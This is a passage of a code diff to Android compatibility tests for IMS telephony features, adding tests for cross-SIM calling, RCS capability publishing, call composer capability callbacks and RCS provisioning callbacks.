+        } catch (IllegalArgumentException e) {
+        }
+        if (nullExpected) {
+            assertNull(sp);
+        } else {
+            assertNotNull(sp);
+        }
+        return sp;
+    }
+
+    private String getRandomString(Random rand) {
+        int size = rand.nextInt(64);
+        byte[] arr = new byte[size];
+        rand.nextBytes(arr);
+        return new String(arr);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
index 1bd5c35..46980a2 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
@@ -350,6 +350,10 @@
 
     @Test
     public void testCallComposerExtras() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
         ImsCallProfile data = new ImsCallProfile();
 
         // EXTRA_PRIORITY
@@ -402,8 +406,10 @@
         Location locationFromData = data.getCallExtraParcelable(ImsCallProfile.EXTRA_LOCATION);
         Location locationFromUnparceledData = unparceledData.getCallExtraParcelable(
                 ImsCallProfile.EXTRA_LOCATION);
-        assertEquals("unparceled data for EXTRA_LOCATION is not valid!",
-                locationFromData, locationFromUnparceledData);
+        assertEquals("unparceled data for EXTRA_LOCATION latitude is not valid!",
+                locationFromData.getLatitude(), locationFromUnparceledData.getLatitude(), 0);
+        assertEquals("unparceled data for EXTRA_LOCATION Longitude is not valid!",
+                locationFromData.getLongitude(), locationFromUnparceledData.getLongitude(), 0);
 
         assertEquals("unparceled data for EXTRA_PICTURE_URL is not valid!",
                 data.getCallExtra(ImsCallProfile.EXTRA_PICTURE_URL),
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
index a965d7b..62f4fc8 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -261,6 +261,51 @@
     }
 
     /**
+     * Set the cross SIM setting and ensure it is queried successfully.
+     * Also ensure the ContentObserver is triggered properly.
+     */
+    @Test
+    public void testCrossSIMSetting() throws Exception {
+        PersistableBundle bundle = new PersistableBundle();
+        // Do not worry about provisioning for this test
+        bundle.putBoolean(KEY_CARRIER_VOLTE_OVERRIDE_WFC_PROVISIONING_BOOL, false);
+        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONING_REQUIRED_BOOL, false);
+        overrideCarrierConfig(bundle);
+        // Register Observer
+        Uri callingUri = Uri.withAppendedPath(
+                SubscriptionManager.CROSS_SIM_ENABLED_CONTENT_URI, "" + sTestSub);
+        CountDownLatch contentObservedLatch = new CountDownLatch(1);
+        ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        ImsMmTelManager mMmTelManager = imsManager.getImsMmTelManager(sTestSub);
+
+        boolean isEnabled = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                mMmTelManager, ImsMmTelManager::isCrossSimCallingEnabledByUser, ImsException.class,
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setCrossSimCallingEnabled(!isEnabled),  ImsException.class,
+                "android.permission.MODIFY_PHONE_STATE");
+
+        waitForLatch(contentObservedLatch, observer);
+        boolean isEnabledResult = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                mMmTelManager,
+                ImsMmTelManager::isCrossSimCallingEnabledByUser,
+                ImsException.class,
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        assertEquals("isCrossSimCallingEnabledByUser did not match"
+                        + "value set by setCrossSimCallingEnabled",
+                !isEnabled, isEnabledResult);
+
+        // Set back to default
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setCrossSimCallingEnabled(isEnabled),
+                ImsException.class,
+                "android.permission.MODIFY_PHONE_STATE");
+        overrideCarrierConfig(null);
+    }
+
+    /**
      * Set the VoWiFi roaming setting and ensure it is queried successfully. Also ensure the
      * ContentObserver is triggered properly.
      */
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
index 6c207c4..1e12777 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
@@ -63,6 +63,10 @@
     private static final String COMMAND_FEATURE_IDENTIFIER = "-f ";
     private static final String COMMAND_ENABLE_IMS = "ims enable ";
     private static final String COMMAND_DISABLE_IMS = "ims disable ";
+    private static final String COMMAND_SET_DEVICE_SINGLE_REGISTRATION_ENABLED =
+            "src set-device-enabled ";
+    private static final String COMMAND_GET_DEVICE_SINGLE_REGISTRATION_ENABLED =
+            "src get-device-enabled";
 
     private class TestCarrierServiceConnection implements ServiceConnection {
 
@@ -558,6 +562,16 @@
                 + COMMAND_SLOT_IDENTIFIER + slot);
     }
 
+    void setDeviceSingleRegistrationEnabled(Boolean enabled) throws Exception {
+        TelephonyUtils.executeShellCommand(mInstrumentation, COMMAND_BASE
+                + COMMAND_SET_DEVICE_SINGLE_REGISTRATION_ENABLED + enabled);
+    }
+
+    boolean getDeviceSingleRegistrationEnabled() throws Exception {
+        return Boolean.parseBoolean(TelephonyUtils.executeShellCommand(mInstrumentation,
+                COMMAND_BASE + COMMAND_GET_DEVICE_SINGLE_REGISTRATION_ENABLED));
+    }
+
     TestImsService getCarrierService() {
         return mCarrierService;
     }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 0ad0a81..2a7595d 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -46,11 +46,13 @@
 import android.telephony.ims.ImsRcsManager;
 import android.telephony.ims.ImsReasonInfo;
 import android.telephony.ims.ProvisioningManager;
+import android.telephony.ims.RcsClientConfiguration;
 import android.telephony.ims.RcsUceAdapter;
 import android.telephony.ims.RegistrationManager;
 import android.telephony.ims.feature.ImsFeature;
 import android.telephony.ims.feature.MmTelFeature;
 import android.telephony.ims.feature.RcsFeature.RcsImsCapabilities;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
 import android.telephony.ims.stub.ImsConfigImplBase;
 import android.telephony.ims.stub.ImsFeatureConfiguration;
 import android.telephony.ims.stub.ImsRegistrationImplBase;
@@ -71,6 +73,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
@@ -103,13 +106,31 @@
     private static final int TEST_CONFIG_KEY = 1000;
     private static final int TEST_CONFIG_VALUE_INT = 0xDEADBEEF;
     private static final String TEST_CONFIG_VALUE_STRING = "DEADBEEF";
-    private static final String TEST_AUTOCONFIG_CONTENT = "<?xml version=\"1.0\"?>\n"
-            + "<wap-provisioningdoc version=\"1.1\">\n"
-            + "<characteristic type=\"VERS\">\n"
-            + "<parm name=\"version\" value=\"1\"/>\n"
-            + "<parm name=\"validity\" value=\"1728000\"/>\n"
-            + "</characteristic>"
-            + "</wap-provisioningdoc>";
+
+    private static final String TEST_RCS_CONFIG = "<RCSConfig>\n"
+            + "\t<rcsVolteSingleRegistration>1</rcsVolteSingleRegistration>\n"
+            + "\t<SERVICES>\n"
+            + "\t\t<SupportedRCSProfileVersions>UP_2.0</SupportedRCSProfileVersions>\n"
+            + "\t\t<ChatAuth>1</ChatAuth>\n"
+            + "\t\t<GroupChatAuth>1</GroupChatAuth>\n"
+            + "\t\t<ftAuth>1</ftAuth>\n"
+            + "\t\t<standaloneMsgAuth>1</standaloneMsgAuth>\n"
+            + "\t\t<geolocPushAuth>1<geolocPushAuth>\n"
+            + "\t\t<Ext>\n"
+            + "\t\t\t<DataOff>\n"
+            + "\t\t\t\t<rcsMessagingDataOff>1</rcsMessagingDataOff>\n"
+            + "\t\t\t\t<fileTransferDataOff>1</fileTransferDataOff>\n"
+            + "\t\t\t\t<mmsDataOff>1</mmsDataOff>\n"
+            + "\t\t\t\t<syncDataOff>1</syncDataOff>\n"
+            + "\t\t\t</DataOff>\n"
+            + "\t\t</Ext>\n"
+            + "\t</SERVICES>\n"
+            + "</RCSConfig>";
+    private static final int RCS_CONFIG_CB_UNKNOWN = Integer.MAX_VALUE;
+    private static final int RCS_CONFIG_CB_CHANGED = 0;
+    private static final int RCS_CONFIG_CB_ERROR   = 1;
+    private static final int RCS_CONFIG_CB_RESET   = 2;
+    private static final int RCS_CONFIG_CB_DELETE  = 3;
 
     private static CarrierConfigReceiver sReceiver;
 
@@ -140,6 +161,12 @@
         }
     }
 
+    private static class RcsProvisioningCallbackParams {
+        byte[] mConfig;
+        Integer mErrorCode;
+        String mErrorString;
+    }
+
     @BeforeClass
     public static void beforeAllTests() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
@@ -211,6 +238,8 @@
             fail("Invalid state found: the test subscription in slot " + sTestSlot + " changed "
                     + "during this test.");
         }
+
+        TestAcsClient.getInstance().reset();
     }
 
     @After
@@ -831,6 +860,164 @@
         }
     }
 
+    @Test
+    public void testRcsDeviceCapabilitiesPublish() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        // Trigger carrier config changed
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        if (imsManager == null) {
+            fail("Cannot find IMS service");
+        }
+
+        ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+        RcsUceAdapter uceAdapter = imsRcsManager.getUceAdapter();
+
+        // Connect to device ImsService with MmTel feature and RCS feature
+        triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature();
+
+        TestRcsCapabilityExchangeImpl capExchangeImpl = sServiceConnector.getCarrierService()
+                .getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        // Register the callback to listen to the publish state changed
+        LinkedBlockingQueue<Integer> publishStateQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.OnPublishStateChangedListener publishStateCallback =
+                new RcsUceAdapter.OnPublishStateChangedListener() {
+                    public void onPublishStateChange(int state) {
+                        publishStateQueue.offer(state);
+                    }
+                };
+
+        // Another publish register callback to verify the API
+        // RcsUceAdapter#removeOnPublishStateChangedListener
+        LinkedBlockingQueue<Integer> unregisteredPublishStateQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.OnPublishStateChangedListener unregisteredPublishStateCallback =
+                new RcsUceAdapter.OnPublishStateChangedListener() {
+                    public void onPublishStateChange(int state) {
+                        unregisteredPublishStateQueue.offer(state);
+                    }
+                };
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            // register two publish state callback
+            uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+                    publishStateCallback);
+            uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+                    unregisteredPublishStateCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Verify receiving the publish state callback immediately after registering the callback.
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(unregisteredPublishStateQueue));
+        publishStateQueue.clear();
+        unregisteredPublishStateQueue.clear();
+
+        // Verify the value of getting from the API is NOT_PUBLISHED
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Setup the operation of the publish request.
+        capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+            int networkResp = 200;
+            String reason = "";
+            listener.onPublish();
+            cb.onNetworkResponse(networkResp, reason);
+        });
+
+        // Unregister the publish state callback
+        try {
+            automan.adoptShellPermissionIdentity();
+            uceAdapter.removeOnPublishStateChangedListener(unregisteredPublishStateCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // IMS registers
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+
+        // Framework should trigger the device capabilities publish when IMS is registered.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // The unregistered callback should not be called.
+        if (unregisteredPublishStateQueue.poll() != null) {
+            fail("Unregistered publish callback should not be called");
+        }
+
+        // Verify the value of getting from the API is PUBLISH_STATE_OK
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify ImsService receive the publish request from framework.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        // ImsService triggers the unpublish notification
+        eventListener.onUnpublish();
+
+        // Verify the publish state callback will be called with the state "NOT_PUBLISHED"
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // The unregistered callback should not be called.
+        if (unregisteredPublishStateQueue.poll() != null) {
+            fail("Unregistered publish callback should not be called when unpublish");
+        }
+
+        // Verify the value of getting from the API is NOT_PUBLISHED
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Trigger RcsFeature is unavailable
+        sServiceConnector.getCarrierService().getRcsFeature()
+                .setFeatureState(ImsFeature.STATE_UNAVAILABLE);
+
+        // Verify the RcsCapabilityExchangeImplBase will be removed.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_LISTENER_SET));
+
+        overrideCarrierConfig(null);
+    }
+
     @Ignore("RCS APIs not public yet")
     @Test
     public void testRcsManagerRegistrationCallback() throws Exception {
@@ -1167,15 +1354,92 @@
         assertNotNull(capCb);
         assertTrue(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE));
 
-        // We should not have call composer availability here.
-        capCb = waitForResult(mQueue);
-        assertNotNull(capCb);
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertTrue(ImsUtils.retryUntilTrue(() -> mmTelManager.isAvailable(
+                    MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE)));
+
+            mmTelManager.unregisterMmTelCapabilityCallback(callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        try {
+            mmTelManager.unregisterMmTelCapabilityCallback(callback);
+            fail("unregisterMmTelCapabilityCallback requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+    }
+
+    @Test
+    public void testCallComposerCapabilityStatusCallback() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        ImsMmTelManager mmTelManager = imsManager.getImsMmTelManager(sTestSub);
+
+        triggerFrameworkConnectToCarrierImsService();
+
+        // Wait for the framework to set the capabilities on the ImsService
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_MMTEL_CAP_SET);
+        MmTelFeature.MmTelCapabilities fwCaps = sServiceConnector.getCarrierService()
+                .getMmTelFeature().getCapabilities();
+        // Make sure we start off with every capability unavailable
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+        sServiceConnector.getCarrierService().getMmTelFeature()
+                .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities());
+
+        // Make sure the capabilities match the API getter for capabilities
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        // Latch will count down here (we callback on the state during registration).
+        try {
+            automan.adoptShellPermissionIdentity();
+            // Make sure we are tracking voice capability over LTE properly.
+            assertEquals(fwCaps.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE),
+                    mmTelManager.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE));
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        LinkedBlockingQueue<MmTelFeature.MmTelCapabilities> mQueue = new LinkedBlockingQueue<>();
+        ImsMmTelManager.CapabilityCallback callback = new ImsMmTelManager.CapabilityCallback() {
+
+            @Override
+            public void onCapabilitiesStatusChanged(MmTelFeature.MmTelCapabilities capabilities) {
+                mQueue.offer(capabilities);
+            }
+        };
+
+        // Latch will count down here (we callback on the state during registration).
+        try {
+            automan.adoptShellPermissionIdentity();
+            mmTelManager.registerMmTelCapabilityCallback(getContext().getMainExecutor(), callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        try {
+            mmTelManager.registerMmTelCapabilityCallback(getContext().getMainExecutor(), callback);
+            fail("registerMmTelCapabilityCallback requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
+        // We should not have voice availability here, we notified the framework earlier.
+        MmTelFeature.MmTelCapabilities capCb = waitForResult(mQueue);
         assertFalse(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
 
         // Now enable call composer availability
         sServiceConnector.getCarrierService().getMmTelFeature()
                 .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities(
-                        MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
+                MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
         capCb = waitForResult(mQueue);
         assertNotNull(capCb);
         assertTrue(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
@@ -1183,7 +1447,7 @@
         try {
             automan.adoptShellPermissionIdentity();
             assertTrue(ImsUtils.retryUntilTrue(() -> mmTelManager.isAvailable(
-                    MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+                    MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER,
                     ImsRegistrationImplBase.REGISTRATION_TECH_LTE)));
 
             mmTelManager.unregisterMmTelCapabilityCallback(callback);
@@ -1298,42 +1562,6 @@
         }
     }
 
-    @Test
-    public void testProvisioningManagerNotifyAutoConfig() throws Exception {
-        if (!ImsUtils.shouldTestImsService()) {
-            return;
-        }
-
-        // Trigger carrier config changed
-        PersistableBundle bundle = new PersistableBundle();
-        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
-        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
-        overrideCarrierConfig(bundle);
-
-        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
-
-        ProvisioningManager provisioningManager =
-                ProvisioningManager.createForSubscriptionId(sTestSub);
-
-        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        try {
-            automan.adoptShellPermissionIdentity();
-            provisioningManager.notifyRcsAutoConfigurationReceived(
-                    TEST_AUTOCONFIG_CONTENT.getBytes(), false);
-            ImsConfigImplBase config = sServiceConnector.getCarrierService().getConfig();
-            Assert.assertNotNull(config);
-            assertEquals(TEST_AUTOCONFIG_CONTENT,
-                    config.getConfigString(ImsUtils.ITEM_NON_COMPRESSED));
-
-            provisioningManager.notifyRcsAutoConfigurationReceived(
-                    TEST_AUTOCONFIG_CONTENT.getBytes(), true);
-            assertEquals(TEST_AUTOCONFIG_CONTENT,
-                    config.getConfigString(ImsUtils.ITEM_COMPRESSED));
-        } finally {
-            automan.dropShellPermissionIdentity();
-        }
-    }
-
     @Ignore("RCS APIs not public yet")
     @Test
     public void testRcsCapabilityStatusCallback() throws Exception {
@@ -1379,7 +1607,11 @@
         // Trigger carrier config changed
         PersistableBundle bundle = new PersistableBundle();
         bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
-        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL,
+                true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_RCS_BULK_CAPABILITY_EXCHANGE_BOOL, true);
+
         overrideCarrierConfig(bundle);
 
         // The carrier config changed should trigger RcsFeature#changeEnabledCapabilities
@@ -1738,7 +1970,10 @@
         triggerFrameworkConnectToCarrierImsService();
 
         PersistableBundle bundle = new PersistableBundle();
-        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_PRESENCE_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL,
+                true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_RCS_BULK_CAPABILITY_EXCHANGE_BOOL, true);
         bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_RCS_PROVISIONING_REQUIRED_BOOL, true);
         overrideCarrierConfig(bundle);
 
@@ -1768,6 +2003,256 @@
         overrideCarrierConfig(null);
     }
 
+    @Test
+    public void testProvisioningManagerRcsProvisioningChangedCallback() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final int errorCode = 403;
+        final String errorString = "Forbidden";
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        LinkedBlockingQueue<Integer> actionQueue = new LinkedBlockingQueue<>();
+        LinkedBlockingQueue<RcsProvisioningCallbackParams> paramsQueue =
+                new LinkedBlockingQueue<>();
+        ProvisioningManager.RcsProvisioningCallback cb =
+                buildRcsProvisioningCallback(actionQueue, paramsQueue);
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+        ImsConfigImplBase config = sServiceConnector.getCarrierService().getConfig();
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerRcsProvisioningChangedCallback(
+                    getContext().getMainExecutor(), cb);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        actionQueue.clear();
+        paramsQueue.clear();
+
+        //callback when rcs configuration received, uncompressed
+        config.getIImsConfig().notifyRcsAutoConfigurationReceived(
+                TEST_RCS_CONFIG.getBytes(), false);
+
+        int res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+        RcsProvisioningCallbackParams params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+        //verify when rcs configuration received, conpressed
+        config.getIImsConfig().notifyRcsAutoConfigurationReceived(
+                ImsUtils.compressGzip(TEST_RCS_CONFIG.getBytes()), true);
+
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+        params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+        //callback when rcs configuration removed
+        config.getIImsConfig().notifyRcsAutoConfigurationRemoved();
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_RESET);
+
+        //callback when auto config error received
+        config.notifyAutoConfigurationErrorReceived(errorCode, errorString);
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_ERROR);
+        params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(params.mErrorCode != null && params.mErrorCode == errorCode);
+        assertTrue(errorString.equals(params.mErrorString));
+
+        //callback when config removed
+        config.getIImsConfig().notifyRcsAutoConfigurationRemoved();
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_RESET);
+
+        //unregister callback and verify not to receive callback any more
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.unregisterRcsProvisioningChangedCallback(cb);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+        res = waitForIntResult(actionQueue);
+        assertEquals(res, RCS_CONFIG_CB_DELETE);
+
+        config.notifyAutoConfigurationErrorReceived(errorCode, errorString);
+        res = waitForIntResult(actionQueue, 500);
+        assertEquals(res, Integer.MAX_VALUE);
+    }
+
+    @Test
+    public void testProvisioningManagerNotifyRcsAutoConfigurationReceived() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        LinkedBlockingQueue<Integer> clientQueue = new LinkedBlockingQueue<>();
+        LinkedBlockingQueue<RcsProvisioningCallbackParams> paramsQueue =
+                new LinkedBlockingQueue<>();
+        ProvisioningManager.RcsProvisioningCallback cb =
+                buildRcsProvisioningCallback(clientQueue, paramsQueue);
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+        LinkedBlockingQueue<Integer> acsQueue = new LinkedBlockingQueue<>();
+        TestAcsClient.getInstance().setActionQueue(acsQueue);
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerRcsProvisioningChangedCallback(
+                    getContext().getMainExecutor(), cb);
+            clientQueue.clear();
+            paramsQueue.clear();
+            provisioningManager.notifyRcsAutoConfigurationReceived(
+                    TEST_RCS_CONFIG.getBytes(), false);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        int res = waitForIntResult(clientQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+        RcsProvisioningCallbackParams params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+        res = waitForIntResult(acsQueue);
+        assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
+        assertTrue(Arrays.equals(
+                TEST_RCS_CONFIG.getBytes(), TestAcsClient.getInstance().getConfig()));
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.notifyRcsAutoConfigurationReceived(
+                    ImsUtils.compressGzip(TEST_RCS_CONFIG.getBytes()), true);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        res = waitForIntResult(clientQueue);
+        assertEquals(res, RCS_CONFIG_CB_CHANGED);
+        params = waitForResult(paramsQueue);
+        assertNotNull(params);
+        assertTrue(Arrays.equals(params.mConfig, TEST_RCS_CONFIG.getBytes()));
+
+        res = waitForIntResult(acsQueue);
+        assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
+        assertTrue(Arrays.equals(
+                TEST_RCS_CONFIG.getBytes(), TestAcsClient.getInstance().getConfig()));
+    }
+
+    @Test
+    public void testProvisioningManagerTriggerRcsReconfiguration() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        LinkedBlockingQueue<Integer> clientQueue = new LinkedBlockingQueue<>();
+        ProvisioningManager.RcsProvisioningCallback cb =
+                buildRcsProvisioningCallback(clientQueue, null);
+        LinkedBlockingQueue<Integer> acsQueue = new LinkedBlockingQueue<>();
+        TestAcsClient.getInstance().setActionQueue(acsQueue);
+
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.registerRcsProvisioningChangedCallback(
+                    getContext().getMainExecutor(), cb);
+
+            clientQueue.clear();
+            provisioningManager.triggerRcsReconfiguration();
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        int res = waitForIntResult(clientQueue);
